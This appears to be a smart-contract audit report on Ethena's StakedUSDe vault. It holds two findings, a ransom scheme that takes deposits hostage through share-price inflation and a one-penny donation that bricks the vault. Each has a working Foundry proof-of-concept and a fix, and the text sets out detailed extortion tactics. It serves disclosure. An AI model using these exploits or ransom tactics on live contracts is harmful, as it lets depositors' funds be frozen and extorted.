Ethena Labs - d3e4's results

Lines of code

https://github.com/code-423n4/2023-10-ethena/blob/ee67d9b542642c9757a6b826c82d0cae60256509/contracts/StakedUSDe.sol#L237

Vulnerability details

Impact

An initial attacker can gain the power to hold subsequent deposits into StakedUSDeV2 hostage, and release them at will (e.g. for a ransom).

Proof of concept

The _checkMinShares() requirement called after any withdrawal (and deposit)

function _checkMinShares() internal view {
    uint256 _totalSupply = totalSupply();
    if (_totalSupply > 0 && _totalSupply < MIN_SHARES) revert MinSharesViolation();
}

reverts withdrawals that leaves the total supply non-zero or less than 1e18.

Suppose Alice has a million USDe. As the first depositor she inflates the share price by donating 999_999 USDe and then deposits the million. She will get exactly 1e18 shares.

A user makes a deposit of e.g. $10,000. This will expand the total supply to about 1.01e18. Alice can contract this back to 1e18 by redeeming the excess 0.01e18 shares for about $10,000. Since the total supply is now exactly 1e18, the user cannot withdraw any amount.

Alice back-runs each deposit like this, making it impossible for anyone to withdraw. Whatever users have deposited Alice has withdrawn. So Alice can keep doing this until users have deposited up to a total of one million USDe.

If Alice's million is enough to stave off withdrawal attempts long enough for users to notice, new users will likely not dare to deposit further for fear of having their deposits taken hostage. It is thus in Alice's interest that her scheme becomes known well before her million is reached, or that this will take enough time that users cannot wait to get their funds back.

Alice has now managed to take some half million USDe hostage and can force each user to pay her ransom in order to release their deposit. This could even be handled by a smart contract so that users can trust the exchange will happen.

To release a deposit of $10,000 Alice simply deposits this amount, which mints shares in excess of 1e18, the same amount of which can then be withdrawn by the user for $10,000.

Finally when all deposits have been released Alice can withdraw her 1e18 shares, the total supply, for her million USDe.

So far we have described the basic mechanism, which is the one demonstrated in the test below. To exploit this in practice is more complicated and discussed in the following.

A complication for Alice is of course that having taken deposits hostage, she likewise cannot withdraw. But it seems unlikely that a user who had no intention of using his deposit to cause problems in the vault would turn malicious and decide to hold Alice hostage rather than just get his money back. Alice can protect herself against this possibility by not withdrawing anything at all until her hostage collection is ripe. Then users can withdraw freely and the vault will grow organically. Some time before total user deposits have reached a million Alice strikes and withdraws most of her shares, and announces this to the world. Each user will likely prefer to just get out as soon as possible. Only the last one would have exclusive leverage on Alice. To avoid this Alice can set up a smart contract which every hostage has to agree to, such that only when all of them have signed up then their deposits are all released at once, their ransoms paid, and Alice withdraws. Thus each user can get out for a small cost, but refusing to do so holds everyone hostage. The peer pressure would be immense. Note that at this point Alice may hold significantly less than the users hold collectively - a negligible amount even - so their stake is greater than Alice's.

If a whale comes in and deposits enough to liberate the users, then after they have withdrawn either the whale is stuck in a similar deadlock with Alice or Alice can just also withdraw. If Alice is not prepared to hold the whale hostage she can just back-run his deposit and withdraw all her shares. Then the whale will be stuck with his deposit, which acts as a strong deterrent against this way of liberating the users. The only safe way for the whale would be to deposit enough that the users as well as Alice are all liberated, and hope that Alice will withdraw so that he then can withdraw as the last holder. This last point would be moot if Alice holds only a negligible amount of shares. The whale can only sacrifice himself for the hostages.

The best strategy for Alice is probably to wait until just under a million has been deposited, withdraw that amount and be left with just a few shares to hold them hostage. Alice now has almost nothing to lose, but all the leverage. Any new deposits would immediately be eaten up by hostages taking the chance to leave, keeping the total shares close to the minimum. Alice will thus almost surely retain her leverage. The only risk for Alice is if her scheme is discovered while she is still heavily invested in it, and her role challenged by someone making a small deposit and potentially holding her hostage instead. This would require that person to be able to scare away new depositors, but since he cannot prevent them from withdrawing he is much less convincing, which mitigates this risk for Alice. Note that the only thing Alice has done at this point is to inflate the price (blame it on a mistake!) and make a normal deposit.

This also inspires an alternative exploit of this basic mechanism. Suppose instead that Alice spots a first huge deposit in the mempool. She can frontrun this such that the total supply becomes 1e18 (or just above), of which she owns a small amount of shares and the whale the rest. The whale then cannot withdraw anything and will only be able to withdraw whatever is deposited by new users, who then in turn become unable to withdraw. Alice may of course scare them away by informing them of this. Alice is now in a very favourable position to negotiate some kind of ransom.

Note that the cooldown restriction in StakedUSDeV2 only carries the complication that the USDe cannot be unstaked from the silo until the cooldown has passed. The assets are still immediately withdrawn from StakedUSDeV2 so the hostage taking mechanism works just as well there.

Paste into StakedUSDe.t.sol:

function alice_takes_the_deposit_hostage(uint256 deposit) private {
    // Alice redeems all shares in excess of 1e18, which returns, up to rounding errors, the same amount as was deposited.
    vm.startPrank(alice);
    uint256 excessShares = stakedUSDe.totalSupply() - 1e18;
    uint256 withdrawnAmount = stakedUSDe.redeem(excessShares, alice, alice);
    assertApproxEqAbs(withdrawnAmount, deposit, 1e6);

    // The depositor cannot withdraw anything now.
    vm.startPrank(bob);
    vm.expectRevert(IStakedUSDe.MinSharesViolation.selector);
    stakedUSDe.redeem(1, bob, bob);
    uint256 bobalance = stakedUSDe.balanceOf(bob);
    vm.expectRevert(IStakedUSDe.MinSharesViolation.selector);
    stakedUSDe.redeem(bobalance, bob, bob);
}

function alice_releases_the_deposit_of_user(uint256 deposit, address user) private {
    // Alice has recieved ransom and deposits the amount to release.
    vm.startPrank(alice);
    usdeToken.approve(address(stakedUSDe), deposit);
    stakedUSDe.deposit(deposit, alice);

    // The user can now withdraw his deposit.
    vm.startPrank(user);
    uint256 withdrawnAmount = stakedUSDe.redeem(stakedUSDe.balanceOf(user), user, user);
    assertApproxEqAbs(withdrawnAmount, deposit, 1e6);
}

function testHostageTaking() public {
    uint256 dust = 1e7; // used to pay for inflation and rounding errors.
    uint256 aliceInitialBalance = 1_000_000e18 + dust;
    usdeToken.mint(alice, aliceInitialBalance); // alice is the attacker
    uint256 bobsDeposit = 1234.297386759048694067e18;
    uint256 gregsDeposit = 123456.789104826190278456e18;
    usdeToken.mint(bob, bobsDeposit);
    usdeToken.mint(greg, gregsDeposit);

    // Alice inflates the price and deposits a million USDe for 1e18 shares.
    vm.startPrank(alice);
    usdeToken.transfer(address(stakedUSDe), 999_999);
    usdeToken.approve(address(stakedUSDe), 1_000_000e18);
    uint256 sharesReceived = stakedUSDe.deposit(1_000_000e18, alice);
    assertEq(sharesReceived, 1e18);

    // Users start depositing.
    // Bob deposits $1234.297...
    vm.startPrank(bob);
    usdeToken.approve(address(stakedUSDe), bobsDeposit);
    stakedUSDe.deposit(bobsDeposit, bob);

    alice_takes_the_deposit_hostage(bobsDeposit);

    // Greg deposits $123,456.789...
    vm.startPrank(greg);
    usdeToken.approve(address(stakedUSDe), gregsDeposit);
    stakedUSDe.deposit(gregsDeposit, greg);

    alice_takes_the_deposit_hostage(gregsDeposit);

    // Alice releases the depositors.
    alice_releases_the_deposit_of_user(bobsDeposit, bob);
    alice_releases_the_deposit_of_user(gregsDeposit, greg);

    // Alice ends the attack and withdraws her funds.
    vm.startPrank(alice);
    stakedUSDe.redeem(1e18, alice, alice);

    // The attack only cost dust.
    assertLt(aliceInitialBalance - usdeToken.balanceOf(alice), dust);
}

Recommended mitigation steps

Remove the minimum shares restriction and instead prevent inflation attacks by an initial deposit.

Assessed type

ERC4626

Lines of code

https://github.com/code-423n4/2023-10-ethena/blob/ee67d9b542642c9757a6b826c82d0cae60256509/contracts/StakedUSDe.sol#L214

Vulnerability details

Impact

StakedUSDeV2 can be bricked for a penny.

Proof of concept

The _checkMinShares() requirement called after any deposit (and withdrawal)

function _checkMinShares() internal view {
    uint256 _totalSupply = totalSupply();
    if (_totalSupply > 0 && _totalSupply < MIN_SHARES) revert MinSharesViolation();
}

reverts a first deposit which returns less than 1e18 shares. The share price is (totalSupply() + 1)/(totalAssets() + 1) so this first minimal deposit would normally be one USDe dollar, since 1e18 * (0 + 1)/(0 + 1) = 1e18. But by donating a USDe directly to the newly deployed StakedUSDeV2 the minimum first deposit becomes (a + 1) * 1e18, since (a + 1) * 1e18 * (0 + 1)/(a + 1) = 1e18. A donation of as little as a penny (a = 1e16) thus forces the first deposit to be at least ten quadrillion and one USDe dollars ((1e16 + 1) * 1e18), which effectively bricks the contract.

Paste into StakedUSDe.t.sol

function testInflationBricking() public {
    uint256 penny = 1e16;
    uint256 gazillion = 1e34 + 1e18; // = (1e16 + 1) * MIN_SHARES = ten quadrillion and one dollars.
    usdeToken.mint(alice, penny);
    usdeToken.mint(bob, gazillion);

    // Alice donates a penny to StakedUSDe
    vm.startPrank(alice);
    usdeToken.transfer(address(stakedUSDe), penny);

    // Bob cannot deposit less than ten quadrillion and one dollars.
    vm.startPrank(bob);
    usdeToken.approve(address(stakedUSDe), gazillion);
    vm.expectRevert(IStakedUSDe.MinSharesViolation.selector);
    stakedUSDe.deposit(gazillion - 1, bob);

    stakedUSDe.deposit(gazillion, bob);

    assertEq(usdeToken.balanceOf(bob), 0);
    assertEq(usdeToken.balanceOf(address(stakedUSDe)), gazillion + penny);
    assertEq(stakedUSDe.balanceOf(bob), 1e18);
}

Recommended mitigation steps

Remove the minimum shares restriction and instead prevent inflation attacks by an initial deposit.

Assessed type

ERC4626